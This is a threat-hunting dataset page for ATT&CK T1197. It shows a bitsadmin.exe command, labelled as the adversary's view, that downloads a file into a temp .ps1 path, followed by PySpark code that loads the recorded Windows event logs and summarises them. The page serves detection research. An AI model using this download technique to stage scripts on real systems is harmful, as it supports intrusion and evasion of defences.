Bitsadmin Download Malicious File¶
Metadata¶
Author |
Roberto Rodriguez @Cyb3rWard0g |
Creation Date |
2020/10/23 |
Modification Date |
2020/10/23 |
Tactics |
|
Techniques |
[‘T1197’] |
Tags |
[‘art.3c73d728-75fb-4180-a12f-6712864d7421’] |
Dataset Description¶
This dataset represents threat actors leveraging bitsadmin.exe to download a file.
Datasets Downloads¶
Dataset Type |
Link |
---|---|
Host |
Adversary View¶
bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md %temp%\bitsadmin1_flag.ps1
DISPLAY: '/Download' TYPE: DOWNLOAD STATE: TRANSFERRED
PRIORITY: FOREGROUND FILES: 1 / 1 BYTES: 6886 / 6886 (100%)
Transfer complete.
Explore Mordor Dataset¶
Initialize Analytics Engine¶
from openhunt.mordorutils import *
spark = get_spark()
Download & Process Mordor File¶
mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/defense_evasion/host/cmd_bitsadmin_download_psh_script.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")
[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable
Get to know your data¶
df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)
+------------+------------------------------------+-------+-----+
|Hostname |Channel |EventID|count|
+------------+------------------------------------+-------+-----+
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|7 |141 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|10 |96 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|12 |55 |
|WORKSTATION5|Security |4658 |16 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|13 |15 |
|WORKSTATION5|Security |5156 |12 |
|WORKSTATION5|Security |4703 |11 |
|WORKSTATION5|Security |4656 |11 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|3 |8 |
|WORKSTATION5|Security |4663 |8 |
|WORKSTATION5|Security |4690 |8 |
|WORKSTATION5|Security |5158 |6 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|11 |6 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|9 |4 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|22 |3 |
|WORKSTATION5|Security |4673 |2 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|5 |2 |
|WORKSTATION5|Security |4689 |2 |
|WORKSTATION5|System |104 |2 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|1 |2 |
+------------+------------------------------------+-------+-----+
only showing top 20 rows